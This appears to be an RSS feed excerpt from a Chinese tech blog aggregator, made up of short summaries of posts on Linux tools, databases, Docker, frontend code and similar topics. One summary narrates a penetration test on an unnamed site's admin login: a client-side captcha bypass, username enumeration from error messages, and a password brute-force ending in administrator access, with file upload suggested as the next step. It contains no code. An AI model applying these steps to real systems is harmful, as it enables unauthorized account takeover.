-x：假设主机有支持数据加密的功能，就使用它； -X&amp;lt;认证形态&amp;gt;：关闭指定的认证形态。 参数 远程主机：指定要登录进行管理的远程主机；端口：指定TELNET协议使用的端口号。 实例 $ telnet 192.168.2.10 Trying 192.168.2.10... Connected to 192.168.2.10 (192.168.2.10). Escape character is &#39;^]&#39;. localhost (Linux release 2.6.18-274.18.1.el5 #1 SMP Thu Feb 9 12:45:44 EST 2012) (1) login: root Password: Login incorrect 一般情况下不允许root从远程登录，可以先用普通账号登录，然后再用su -切到root用户。&#xA;$ telnet 192.168.188.132 Trying 192.168.188.132... telnet: connect to address 192.</description>
    </item>
    <item>
      <title>svg动画图形绘制</title>
      <link>https://bchobby.github.io/posts/2499c6d075970336be04b405e82da84d/</link>
      <pubDate>Thu, 19 Jan 2023 20:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2499c6d075970336be04b405e82da84d/</guid>
      <description>先介绍下绘制图形的标签&#xA;1：线段：line&#xA;2：矩形：rect&#xA;3: 圆形：circle&#xA;4：多边形：polyline（不会自动连接起点和终点）&#xA;5: 多边形:polygon (会自动连接起点和终点）&#xA;viewBox 的后2值和svg的宽高设置一致即可 viewBox:‘0 0 width height’ 具体原因：看我其他关于他的讲解&#xA;1：线段：line案例&#xA;line的属性讲解：&#xA;1： x1,y1指的是第一个坐标点&#xA;2：x2,y2指的是 第二个坐标点&#xA;（二个坐标点连接为一条直线）&#xA;3： stroke-width:线段的宽度&#xA;4：stroke:线段的颜色&#xA;&amp;lt;template&amp;gt; &amp;lt;div class=&#34;container&#34;&amp;gt; &amp;lt;svg width=&#34;100&#34; height=&#34;100&#34; viewBox=&#34;0 0 100 100&#34;&amp;gt; &amp;lt;line x1=&#34;0&#34; y1=&#34;10&#34; x2=&#34;100&#34; y2=&#34;10&#34; stroke-width=&#34;2&#34; stroke=&#34;blue&#34; &amp;gt;&amp;lt;/line&amp;gt; &amp;lt;/svg&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;SvgAnimation&#34;, }; &amp;lt;/script&amp;gt; &amp;lt;script setup&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;scss&#34; scoped&amp;gt; .container { margin-top: 30px; text-align: center; svg { border: 1px solid red; } } &amp;lt;/style&amp;gt; 2：矩形：rect</description>
    </item>
    <item>
      <title>airflow安装及使用入门（linux）</title>
      <link>https://bchobby.github.io/posts/ce9934e2615420a1ba35b9fca50f7c36/</link>
      <pubDate>Thu, 19 Jan 2023 18:12:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce9934e2615420a1ba35b9fca50f7c36/</guid>
      <description>目录&#xA;airflow&#xA;概述&#xA;安装&#xA;安装python环境&#xA;安装Airflow&#xA;修改数据库为MySQL&#xA;修改执行器&#xA;配置邮件服务器&#xA;常用命令&#xA;airflow 概述 Airflow是一个以编程方式编写，安排和监视工作流的平台&#xA;主要用于任务调度的安排；使用Airflow将工作流编写任务的有向无环图（DAG）。Airflow计划程序在遵循指定的依赖项，同时在一组工作线程上执行任务&#xA;安装 官网：Apache Airflow&#xA;安装python环境 1.首先安装anaconda/miniconda&#xA;下载地址：&#xA;可以从官网下载 ：Anaconda | Anaconda Distribution&#xA;下载完成后在命令行中安装即可&#xA;bash Anaconda3-2022.10-Linux-x86_64.sh&#xA;二者的区别：&#xA;conda是一种通用包管理系统，旨在构建和管理任何语言和任何类型的软件。举个例子：包管理与pip的使用类似，环境管理则允许用户方便地安装不同版本的python并可以快速切换。&#xA;Anaconda则是一个打包的集合，里面预装好了conda、某个版本的python、众多packages、科学计算工具等等，就是把很多常用的不常用的库都给你装好了。&#xA;Miniconda，顾名思义，它只包含最基本的内容——python与conda，以及相关的必须依赖项，对于空间要求严格的用户，Miniconda是一种选择。就只包含最基本的东西，其他的库得自己装。&#xA;随后加载环境变量配置文件，使其生效：&#xA;source ~/.bashrc&#xA;2.创建python3.8环境&#xA;首先配置国内镜像：&#xA;conda config --add channels Index of /anaconda/pkgs/free/ | 北京外国语大学开源软件镜像站 | BFSU Open Source Mirror&#xA;conda config --add channels Index of /anaconda/pkgs/main/ | 北京外国语大学开源软件镜像站 | BFSU Open Source Mirror&#xA;conda config --set show_channel_urls yes</description>
    </item>
    <item>
      <title>cdh6 报错ClassNotFoundException: com.mysql.jdbc.Driver</title>
      <link>https://bchobby.github.io/posts/cbbaf97128fb82c8a765a63897a97276/</link>
      <pubDate>Thu, 19 Jan 2023 15:21:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbbaf97128fb82c8a765a63897a97276/</guid>
      <description>/opt/cloudera/cm/schema/scm_prepare_database.sh mysql -hmaster -uroot -p&#39;password&#39; --scm-host master cdh6 root password 初始化数据库报错找不到驱动&#xA;java.lang.ClassNotFoundException: com.mysql.jdbc.Driver at java.net.URLClassLoader.findClass(URLClassLoader.java:387)[:1.8.0_321] at java.lang.ClassLoader.loadClass(ClassLoader.java:418)[:1.8.0_321] at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:355)[:1.8.0_321] at java.lang.ClassLoader.loadClass(ClassLoader.java:351)[:1.8.0_321] at java.lang.Class.forName0(Native Method)[:1.8.0_321] at java.lang.Class.forName(Class.java:264)[:1.8.0_321] at com.cloudera.enterprise.dbutil.DbProvisioner.executeSql(DbProvisioner.java:283)[db-common-6.3.1.96818eaab0a222aa84a7854b8d22c0c7.jar:] at com.cloudera.enterprise.dbutil.DbProvisioner.doMain(DbProvisioner.java:104)[db-common-6.3.1.96818eaab0a222aa84a7854b8d22c0c7.jar:] at com.cloudera.enterprise.dbutil.DbProvisioner.main(DbProvisioner.java:123)[db-common-6.3.1.96818eaab0a222aa84a7854b8d22c0c7.jar:] 网上说mysql驱动放在/usr/share/java/下，测试无效&#xA;最终驱动放在放在${JAVA_HOME}/jre/lib/ext 解决&#xA;驱动地址：wget https://repo1.maven.org/maven2/mysql/mysql-connector-java/5.1.49/mysql-connector-java-5.1.49.jar</description>
    </item>
    <item>
      <title>python对PDF文件操作</title>
      <link>https://bchobby.github.io/posts/75edb892330f41f3a087d9d218c5c8cd/</link>
      <pubDate>Thu, 19 Jan 2023 13:21:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75edb892330f41f3a087d9d218c5c8cd/</guid>
      <description>python对PDF文件操作 下载模块PyPDF2，以页为基本单位对PDF文件进行读写操作，无法直接操作每一页内容。&#xA;PDF文件读操作 导入函数&#xA;from PyPDF2 import PdfFileReader&#xA;1.打开文件创建reader对象，相当于PDF文件对象&#xA;reader = PdfFileReader(open(&#39;文件路径&#39;, &#39;rb&#39;))&#xA;2.获取PDF文件的总页数&#xA;num = reader.getNumPages()&#xA;3.获取指定页，返回页对象&#xA;PDF文件对象.getPage(页的下标)&#xA;获取指定页, 下标从0开始，返回页对象。&#xA;PDF文件写操作 导入函数&#xA;from PyPDF2 import PdfFileWriter, PdfFileReader&#xA;1.创建writer对象; 会自动创建一个空的PDF文件&#xA;writer = PdfFileWriter()&#xA;2.添加页&#xA;writer.addPage(页对象)&#xA;3.添加空白页&#xA;writer.addBlankPage(x, y)&#xA;4.保存文件&#xA;writer.write(open(&#39;保存地址&#39;, &#39;wb&#39;))&#xA;PDF文件合并 1.打开两个需要合并的文件，并且创建一个空的PDF文件；&#xA;2.添加页，将两个文件的内容都取出来以需要的顺序添加到新文件中&#xA;3.保存文件&#xA;PDF文件页面操作 1.旋转&#xA;旋转的返回值是原页面旋转后的页面&#xA;页对象.rotateClockwise(旋转角度)&#xA;2.缩放&#xA;页对象.scale(x, y)&#xA;3.合并（添加水印）&#xA;需要添加水印的页对象.mergePage(水印的页对象)&#xA;PDF文件创建水印 导入创建空的PDF文件的类&#xA;from reportlab.pdfgen.canvas import Canvas&#xA;导入注册字体的工具&#xA;from reportlab.pdfbase.pdfmetrics import registerFont&#xA;导入字体类&#xA;from reportlab.pdfbase.ttfonts import TTFont</description>
    </item>
    <item>
      <title>powerdns 系列之二 PowerDNS Authoritative Server</title>
      <link>https://bchobby.github.io/posts/fa404381cbb831e90cf7c49922dc7105/</link>
      <pubDate>Thu, 19 Jan 2023 10:57:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa404381cbb831e90cf7c49922dc7105/</guid>
      <description>PowerDNS Authoritative Server&#xA;权威服务器，直接查询数据库去尝试解析，数据库中若不存在此记录，则直接返回空结果。&#xA;os: centos 7.8.2003&#xA;pnds: 4.7.3&#xA;安装 pdns 安装 pdns auth yum install epel-release yum-plugin-priorities curl -o /etc/yum.repos.d/powerdns-auth-47.repo https://repo.powerdns.com/repo-files/el-auth-47.repo yum install pdns 安装 pdns backend 使用 postgresql 作为存储数据库，需要安装 pdns-backend-postgresql&#xA;这里有个小细节需要注意下&#xA;依赖安装 postgresql-libs 的版本较低，登录 pgsql 10 及以上会提示 SCRAM authentication requires libpq version 10 or above 。&#xA;需要 postgresql-libs 最低为 10 版本，可提前下载这两个 rpm 包 。&#xA;postgresql10.x86_64 10.23-1PGDG.rhel7 @pgdg10 postgresql10-libs.x86_64 10.23-1PGDG.rhel7 @pgdg10 安装 pdns backend&#xA;yum install pdns-backend-geoip \ pdns-backend-ldap \ pdns-backend-lmdb \ pdns-backend-lua2 \ pdns-backend-mysql \ pdns-backend-odbc \ pdns-backend-pipe \ pdns-backend-postgresql \ pdns-backend-remote \ pdns-backend-sqlite \ pdns-backend-tinydns 登录数据库 创建 user、database，参考 https://doc.</description>
    </item>
    <item>
      <title>如何解决Prometheus的数据回填问题</title>
      <link>https://bchobby.github.io/posts/b8b62773cef700ae23fefe5d61432df2/</link>
      <pubDate>Thu, 19 Jan 2023 10:53:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8b62773cef700ae23fefe5d61432df2/</guid>
      <description>去年10月底的时候，我们的监控系统因为一个偶然的问题，出乎意料地发生了重大的故障，这次故障暴露了当前监控系统存在的一下重大隐患。&#xA;故障背景及现象 我们的监控系统基于Thanos构建，基本架构如下（箭头表示数据流向）：&#xA;分布在各个区域的prometheus负责指标采集并通过远程写将数据发送给运维中心部署的Thanos套件，Thanos套件负责将指标数据持久化进对象存储并提供统一视图及统一告警能力。&#xA;某一次因为网络问题，A区域的prometheus与Thanos之间的发生了长时间中断，当网络重新连接时，A区域大量涌入的数据造成Thanos的distributor与receive组件反复崩溃重启CrashLoopBackOff，引发所有区域的prometheus远程写失败，整个系统处于瘫痪状态。&#xA;此时，prometheus端大量发生如下报错：&#xA;msg=&#34;Remote storage resharding&#34; from=1 to=200 msg=&#34;Skipping resharding, last successful send was beyond threshold&#34; lastSendTimestamp=1673493925 minSendTimestamp=1673494034 msg=&#34;Failed to send batch, retrying&#34; err=&#34;server returned HTTP status 503 Service Unavailable: 2 errors: backing off forward request for endpoint thanos-prod-receive-6.thanos-prod-receive-headless.thanos-prod.svc.cluster.local:10901: target not available; backing off forward request for endpoint thanos-prod-receive-7.thanos-prod-receive-headless.thanos-prod.svc.cluster.local:10901: target not available&#34; msg=&#34;Failed to send batch, retrying&#34; err=&#34;server returned HTTP status 500 Internal Server Error: context deadline exceeded&#34;</description>
    </item>
    <item>
      <title>（附源码）订餐app  毕业设计190711</title>
      <link>https://bchobby.github.io/posts/9c0c461aae133b2d9e0d9faababedf37/</link>
      <pubDate>Thu, 19 Jan 2023 09:06:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c0c461aae133b2d9e0d9faababedf37/</guid>
      <description>摘 要&#xA;随着现在网络的快速发展，网络的应用在各行各业当中它很快融入到了许多学校的眼球之中，他们利用网络来做这个职位推荐的网站，随之就产生了“订餐app ”，这样就让用户订餐app更加方便简单。&#xA;对于本订餐app的设计来说，它主要是采用后台采用java语言、springboot框架，它是应用mysql数据库、Android等技术动态编程以及数据库进行努力学习和大量实践，并运用到了APP的建设中在整个系统的设计当中，具体根据网上订餐app的现状来进行开发的，具体根据用户需求实现网上订餐app网络化的管理，各类信息有序地进行存储，进入订餐app页面之后，方可开始操作主控界面，系统功能包括管理员服务端：首页、轮播图、公告栏、管理员、美食资讯、资讯分类、外卖商城列表、分类列表、订单列表、店铺展示、卖家、店铺分类、城市管理、订单配送、菜品收入、注册用户、配送员；用户客户端：首页、订单、购物车、美食资讯、我的等功能。&#xA;本论文主要讲述了订餐app开发背景，该系统它主要是对需求分析和功能需求做了介绍，并且对系统做了详细的测试和总结。具体从业务流程、数据库设计和系统结构等多方面的问题。望能利用先进的计算机技术和网络技术来改变目前的订餐app管理状况，提高管理效率。&#xA;关键词：订餐app；Android技术；Mysql数据库；Java语言 Abstract&#xA;With the rapid development of the network, the application of the network is in all walks of life. It quickly integrates into the eyes of many schools. They use the network to do the website of job recommendation, and then produce the &#34;ordering app&#34;, which makes the user ordering app more convenient and simple.&#xA;For the design of this ordering app, it mainly adopts Java language and springboot framework in the background.</description>
    </item>
    <item>
      <title>CentOS7安装MySQL8（超级详细图文安装）</title>
      <link>https://bchobby.github.io/posts/c93ea4711cc5730903d416ba935a16ef/</link>
      <pubDate>Wed, 18 Jan 2023 23:27:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c93ea4711cc5730903d416ba935a16ef/</guid>
      <description>环境介绍 :&#xA;服务器： 虚拟机&#xA;系统版本： CentOS 7&#xA;MySQL版本： 8.0&#xA;一、卸载MariaDB 1.1 查看版本：通过rpm -qa | grep mariadb 命令查看mariadb 的安装包 rpm -qa | grep mariadb 1.2 卸载：通过rpm -e mariadb-libs-5.5.56-2.el7.x86_64 --nodeps 命令装卸 mariadb rpm -e mariadb-libs-5.5.56-2.el7.x86_64 --nodeps 1.3 检查是否卸载干净：通过 rpm -qa | grep mariadb 命令再次查看 mariadb 的安装包 rpm -qa | grep mariadb 二、安装MySQL 2.1 创建安装目录 通过 cd /usr/local/ 命令进入根目录下的usr目录下的local目录，这个目录是放一些本地的共享资源的&#xA;通过 mkdir mysql 命令 在当前目录下创建一个名为 mysql 的目录&#xA;2.2 上传安装包 通过 cd mysql 命令进入 mysql 目录，</description>
    </item>
    <item>
      <title>最优化期末复习</title>
      <link>https://bchobby.github.io/posts/0fa56da0b2e2233acb19c7802bb4e656/</link>
      <pubDate>Wed, 18 Jan 2023 17:07:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fa56da0b2e2233acb19c7802bb4e656/</guid>
      <description>最优化期末复习 典型题型判断是否为局部最优解（非线性规划） 凸集与凸函数凸集的定义和性质定义性质 极点和极方向的定义极点方向、不同方向、极方向 表示定理凸集分离定理Farkas定理Gordan定理 凸函数定义性质判别一阶充要条件二阶充要条件 凸规划 线性规划基本概念基本性质 单纯形法两阶段法大M法 对偶原理不同形式的对偶问题对称形式非对称形式 对偶定理弱对偶定理最优性准则强对偶定理互补松弛定理 对偶单纯形法灵敏度分析价格系数改变非基变量基变量 右端向量改变增加新约束 最优性条件无约束问题的极值条件必要条件一阶二阶 充分条件充要条件 约束极值问题的最优性条件一些基础概念下降方向可行方向局部约束方向锥正则点切锥 不等式约束问题的一阶最优性条件KKT必要条件一阶充分条件 一般约束问题的一阶最优性条件KKT必要条件Lagrange版本KKT条件一阶充分条件 二阶条件必要充分 对偶问题Lagrange对偶问题对偶定理弱对偶定理及推论引理 算法闭映射二次终止性 一维搜索使用导数的最优化方法最速下降法牛顿法 共轭方向法共轭方向扩张子空间定理共轭方向法共轭梯度法 可行方向法Zoutendijk可行方向法求可行下降方向 Rosen梯度投影法正交投影矩阵梯度投影法原理 Wolfe既约梯度法 惩罚函数法外点法内点法 典型题型 判断是否为局部最优解（非线性规划） 1.写出 L ( x , w , v ) L(x,w,v) L(x,w,v)和 ∇ f ( x ) , ∇ g ( x ) , ∇ h ( x ) \nabla f(x),\nabla g(x),\nabla h(x) ∇f(x),∇g(x),∇h(x)，求出 ∇ x L \nabla_xL ∇x​L和 ∇ x 2 L \nabla_x^2L ∇x2​L</description>
    </item>
    <item>
      <title>Linux 环境部署 Nexus 服务</title>
      <link>https://bchobby.github.io/posts/97cd813b91a38b5fe5c3c28e572aa5c2/</link>
      <pubDate>Wed, 18 Jan 2023 14:06:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97cd813b91a38b5fe5c3c28e572aa5c2/</guid>
      <description>一 私服是什么？ 一个特殊的远程仓库，它是架设在局域网内的仓库服务，供局域网内的开发人员使用。 当Maven需要下载构建的使用， 它先从私服请求，如果私服上没有的话，则从外部的远程仓库下载，然后缓存在私服上 ，再为Maven的下载请求提供服务。&#xA;环境：&#xA;linux 系统、JDK8、Nexus 压缩包（unix）。&#xA;由于Nexus 是基于 Java 语言的，因此安装 Nexus 必须先安装好JAVA(JDK),注意：&#xA;Nexus2 是基于 JDK7。 Nexus3 是基于 JDK8 。 对于 linux 系统上安装 JDK8 感兴趣的小伙伴，可以参考一下文章：&#xA;1.1 私服的作用 内网访问，节省外网带宽。&#xA;一次外网下载，内网所有用户就可以只下载私服缓存，加速 Maven 项目构建。&#xA;允许上传和下载私有库，并且不被外部访问，更加安全。&#xA;减少外部网络因素，提供项目构建的稳定性。&#xA;方便内部项目服务的依赖引用，而不需要其他项目的完整源代码。&#xA;有利于公共构件的维护&#xA;提高工作效率&#xA;等等&#xA;1.2 Nexus下载 我们选择使用最流行的开源 Maven 仓库管理软件 - Nexus，来快速搭建 Maven 私服&#xA;Nexus的官网&#xA;https://www.sonatype.com/products/repository-oss-download下载&#xA;下载方式2：百度云盘下载&#xA;下面介绍最亲民的下载方式，就是有大神下载成功的，并将资源上传到网盘后分享了出来，这样做的优点是免费、有效可用，缺点是资源有限（无法随意选择自己想要的版本），当然除了网盘之外，在CSDN本站中也有许多大佬上传了相关资源，感兴趣的小伙伴可以用积分去下载；&#xA;这里提供一个永久有效的下载地址：&#xA;文件名：nexus-3.25.1-04-unix.tar.gz&#xA;版本号：3.25.1-04&#xA;文件大小：156M左右&#xA;百度云链接：https://pan.baidu.com/s/1KzzpfA67En_nb59KQ7efEw&#xA;提取码：0000&#xA;解压：&#xA;#进入 压缩包所在目录&#xA;cd /home/thp/public/nexus&#xA;#解压&#xA;tar -zxvf nexus-3.25.1-04-unix.tar.gz&#xA;nexus-3.25.1-04：用于实现 nexus 功能</description>
    </item>
    <item>
      <title>【Nginx】使用Docker完成Nginx反向代理</title>
      <link>https://bchobby.github.io/posts/337d8b6317ebd98e5a3fbb324cd361d5/</link>
      <pubDate>Wed, 18 Jan 2023 12:02:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/337d8b6317ebd98e5a3fbb324cd361d5/</guid>
      <description>本机是在CentOS7上面进行操作的&#xA;1.首先安装好Dokcer，这里不再赘述 2.Docker安装Nginx容器 2.1首先需要创建Nginx配置文件，之后完成挂载 启动前需要先创建Nginx外部挂载的配置文件（ /home/nginx/conf/nginx.conf）&#xA;之所以要先创建 , 是因为Nginx本身容器只存在/etc/nginx 目录 , 本身就不创建 nginx.conf 文件&#xA;当服务器和容器都不存在 nginx.conf 文件时, 执行启动命令的时候 docker会将nginx.conf 作为目录创建 , 这并不是我们想要的结果 。&#xA;# 创建挂载目录&#xA;mkdir -p /home/nginx/conf&#xA;mkdir -p /home/nginx/log&#xA;mkdir -p /home/nginx/html&#xA;# 生成容器&#xA;docker run --name nginx -p 9001:80 -d nginx&#xA;然后将nginx中的配置文件复制到外部环境&#xA;# 将容器nginx.conf文件复制到宿主机&#xA;docker cp nginx:/etc/nginx/nginx.conf /home/nginx/conf/nginx.conf&#xA;# 将容器conf.d文件夹下内容复制到宿主机&#xA;docker cp nginx:/etc/nginx/conf.d /home/nginx/conf/conf.d&#xA;# 将容器中的html文件夹复制到宿主机&#xA;docker cp nginx:/usr/share/nginx/html /home/nginx/&#xA;# 删除正在运行的nginx容器&#xA;docker rm -f nginx</description>
    </item>
    <item>
      <title>vscode使用keil插件keil assistant无法编译问题</title>
      <link>https://bchobby.github.io/posts/771a6f8fcb56a744464f6e055dc2e593/</link>
      <pubDate>Wed, 18 Jan 2023 10:22:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/771a6f8fcb56a744464f6e055dc2e593/</guid>
      <description>问题描述 点击编译后出现如下提示&#xA;原因分析： keil插件其实是通过命令行方式调用windows下已经安装的keil5软件，所以怀疑是git-bash终端调用不了keil的原因导致的。&#xA;解决方案： 切换vscode的默认终端为PowerShell，或Command Prompt都可以成功编译，不过需要.NET环境，如果未安装编译会自动提示安装，点击安装即可。</description>
    </item>
    <item>
      <title>Dubbo——入门介绍</title>
      <link>https://bchobby.github.io/posts/3f437f9fc7b25762b5ac6aa08c7e1bc5/</link>
      <pubDate>Tue, 17 Jan 2023 22:51:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f437f9fc7b25762b5ac6aa08c7e1bc5/</guid>
      <description>目录 1.概述1.1.什么是 Dubbo ？1.2.Dubbo 架构 2.Dubbo 快速入门2.1.Zookeeper 安装2.2.创建项目2.3.代码实现2.3.1.dubbo-service 模块2.3.2.dubbo-web 模块 2.4.本地启动2.5.使用 Dubbo 实现 PRC2.5.1.修改 dubbo-service 模块2.5.2.修改 dubbo-web 模块2.5.3.启动 dubbo-service 和 dubbo-web2.5.4.代码改进 3.Dubbo 高级特性3.1.dubbo-admin3.1.1.概述3.1.2.安装3.1.3.启动 3.2.序列化3.2.1.概述3.2.2.案例 3.3.地址缓存3.4.超时3.4.1.概述3.4.2.解决方案 3.5.重试3.6.多版本3.7.负载均衡3.8.集群容错3.9.服务降级 本文笔记整理来自黑马视频https://www.bilibili.com/video/BV1VE411q7dX?p=1，相关资料可在视频评论区进行获取。&#xA;1.概述 1.1.什么是 Dubbo ？ （1）Dubbo 是阿里巴巴公司开源的一个高性能、轻量级的 Java RPC 框架，致力于提供高性能和透明化的 RPC 远程服务调用方案，以及 SOA 服务治理方案。&#xA;RPC，即 Remote Procedure Call，指远程过程调用。有非常多的协议和技术来都实现了RPC的过程。比如：HTTP REST风格，Java RMI规范、WebService SOAP 协议、Hession 等等。&#xA;（2）Dubbo 官网：http://dubbo.apache.org。&#xA;1.2.Dubbo 架构 （1）Dubbo 架构如下图所示：&#xA;（2）上图中的节点角色说明如下：&#xA;Provider暴露服务的服务提供方Container服务运行容器Consumer调用远程服务的服务消费方Registry服务注册与发现的注册中心Monitor统计服务的调用次数和调用时间的监控中心 2.Dubbo 快速入门 2.1.Zookeeper 安装 （1）Dubbo 官方推荐使用 Zookeeper 作为注册中心，Zookeeper 的官方地址为 https://zookeeper.apache.org/，可以从中下载其安装包，这里使用的版本为 3.5.6：&#xA;（2）Dubbo在 CentOS 7.</description>
    </item>
    <item>
      <title>Linux系统审计详解</title>
      <link>https://bchobby.github.io/posts/7c5ec9a3f33e9f8a652751b64448ac0c/</link>
      <pubDate>Tue, 17 Jan 2023 16:54:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c5ec9a3f33e9f8a652751b64448ac0c/</guid>
      <description>【推荐阅读】&#xA;浅谈linux 内核网络 sk_buff 之克隆与复制&#xA;深入linux内核架构--进程&amp;amp;线程&#xA;了解Docker 依赖的linux内核技术&#xA;什么是系统的审计？ 审计的目的是基于事先配置的规则生成日志，记录可能发生在系统上的事件（正常或非正常行为的事件），审计不会为系统提供额外的安全保护，但她会发现并记录违反安全策略的人及其对应的行为。auditd（或 auditd 守护进程）是Linux审计系统中用户空间的一个组件，其负责将审计记录写入磁盘。 审计能够记录日志的内容 1.. 日期与事件以及事件的结果&#xA;1.. 触发事件的用户&#xA;1.. 所有认证机制的使用都可以被记录，如ssh等&#xA;1.. 对关键数据文件的修改行为等都可以被记录&#xA;使用auditd做系统的审计 使用audit监控/etc/ssh/sshd_config&#xA;当该文件发生任何变化即记录日志&#xA;通过手动和ausearch工具查看日志内容&#xA;配置audit审计系统：&#xA;yum -y install audit systemctl start auditd cat /etc/audit/auditd.conf |grep log_file #查看配置文件，确定日志位置 log_file = /var/log/audit/audit.log #日志文件路径 审计规则：&#xA;[root@proxy ~]# auditctl -s #查询状态 [root@proxy ~]# auditctl -l #查看规则 [root@proxy ~]# auditctl -D #删除所有规则 定义临时文件系统规则：&#xA;语法格式&#xA;auditctl -w path -p permission -k key_name&#xA;path（路径）&#xA;为需要审计的文件或目录</description>
    </item>
    <item>
      <title>把antd组件的英文切换为中文</title>
      <link>https://bchobby.github.io/posts/d53bd078e003bcdf8f96ba093b37f856/</link>
      <pubDate>Tue, 17 Jan 2023 16:48:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d53bd078e003bcdf8f96ba093b37f856/</guid>
      <description> 默认是英文的&#xA;import { ConfigProvider } from &#39;antd&#39;; import zhCN from &#39;antd/es/locale/zh_CN&#39;; return ( &amp;lt;ConfigProvider locale={zhCN}&amp;gt; &amp;lt;App /&amp;gt; &amp;lt;/ConfigProvider&amp;gt; ); </description>
    </item>
    <item>
      <title>transform三大属性</title>
      <link>https://bchobby.github.io/posts/bfef63640ad10158e48a488c1f119757/</link>
      <pubDate>Tue, 17 Jan 2023 16:31:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfef63640ad10158e48a488c1f119757/</guid>
      <description>transform三大属性rotate、scale、translate 、 transform: 作用: 动画效果&#xA;优点: 执行速度 很更快 (模拟使用 GPU渲染)&#xA;const [isbool, setIsbool] = useState(false) &amp;lt;div styleName={cs(&#39;tranform&#39;, {tranform2: isbool})}&amp;gt; tranform &amp;lt;/div&amp;gt; &amp;lt;div styleName={cs(&#39;tranform-xy&#39;, {&#39;tranform-xy2&#39;: isbool})}&amp;gt; tranform &amp;lt;/div&amp;gt; //初始样式 .tranform, .tranform-xy { width: 100px; height: 100px; background: rgb(241, 241, 40); transform: translateX(0); } //第一个图形 .tranform2 { transform: translateX(500px); } //第二个图形 .tranform-xy { background: #F99; } .tranform-xy2 { // x, y 轴 都移动 transform: translate(100px, 50px); } rotate： rotate(angle)定义2D旋转&#xA;rotateX(angle) x 轴 横向移动</description>
    </item>
    <item>
      <title>比较器的应用方法(二)</title>
      <link>https://bchobby.github.io/posts/983ae6927f57dba3e777ab2a46d8dd59/</link>
      <pubDate>Tue, 17 Jan 2023 16:18:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/983ae6927f57dba3e777ab2a46d8dd59/</guid>
      <description>1、为什么比较器要加滞回&#xA;从下图中可以看到如果没有加滞回，当输入信号抖动较大在门槛电压Vth附近，那就回使输出电平跳动。&#xA;2、加上滞回避免输入噪声干扰&#xA;下图中输入信号在运放的反相端，当VIN从零开始增大时，由于同相端电压大于反相端，VO=VCC，此时Rf同上拉电阻并联，同相端电压VN=2.7V，当VIN电压增大超过2.7V时，VO由高电平变为低电平。&#xA;然后VIN电压减小的时候，注意减小到2.7V的时候并不能使VO从低电平跳到高电平，因为此时Rf电阻同下拉电阻并联，同相端电压VN=2.3V，所以VIN还需要继续减小，当减小到2.3V的时候，VO才会低电平跳到高电平。&#xA;这个实例中的滞回电压就是2.7V-2.3V=400mV&#xA;3、有些比较器本身就集成了滞回，查比较器手册可以注意一下。&#xA;4、上面都是说的反相端输入，同相端接门槛电压，下面介绍的是同相端输入，反相端接门槛电压。&#xA;4、同相比较器与反向比较器的阻值选择总结</description>
    </item>
    <item>
      <title>实战渗透--一次对后台登录系统的简单渗透测试</title>
      <link>https://bchobby.github.io/posts/dab93639fd1b2a7b8ab87216aa672a5c/</link>
      <pubDate>Tue, 17 Jan 2023 15:01:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dab93639fd1b2a7b8ab87216aa672a5c/</guid>
      <description> 某网站后台登录界面 发现有验证码框 猜想会不会存在验证码绕过的漏洞&#xA;首先随意输入用户名密码（用于抓包）&#xA;打开burp抓包 分析数据包后 找到对应的传参点 即输入的账号密码还有验证码&#xA;这里可以看到 账号和密码全都是明文传输 并没有进行加密 所以更改起来还是很容易的&#xA;把包发送至repeater 进行放包测试&#xA;先修改一下账号密码 然后放包&#xA;查看一下回显&#xA;报错信息提示了密码错误&#xA;修改一下用户名和密码 再次放包&#xA;用户名和密码均由admin改为adm&#xA;放包 查看回显结果&#xA;注意看 这时候报错信息提示账号错误 由此说明刚刚进行测试的admin账号是存在的&#xA;改回账号 再次修改密码 密码改为1111 放包查看回显结果&#xA;果然 这回报错的信息是密码错误&#xA;再修改一下验证码 看看是否能绕过&#xA;验证码由2522改为2523&#xA;报错信息提示验证码错误 此时改回验证码 改为2522&#xA;放包查看结果&#xA;此时报错信息变为密码错误&#xA;很明显此处的验证码只是在前端生成 所以可以绕过&#xA;既然验证码形同虚设 顺带想到了能否暴力破解进入后台&#xA;尝试一下是否有弱口令登录 暴力破解一下&#xA;设置爆破选区&#xA;字典设置好后直接跑&#xA;爆破出了密码 拿去登录一下&#xA;成功以管理员权限进入后台&#xA;后续还在后台中找到了文件上传点 猜测可以利用文件上传漏洞拿下服务器权限 </description>
    </item>
    <item>
      <title>flowable编译</title>
      <link>https://bchobby.github.io/posts/0b8f5ec2cc4b83df4490d4dc62aebe5b/</link>
      <pubDate>Tue, 17 Jan 2023 14:45:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0b8f5ec2cc4b83df4490d4dc62aebe5b/</guid>
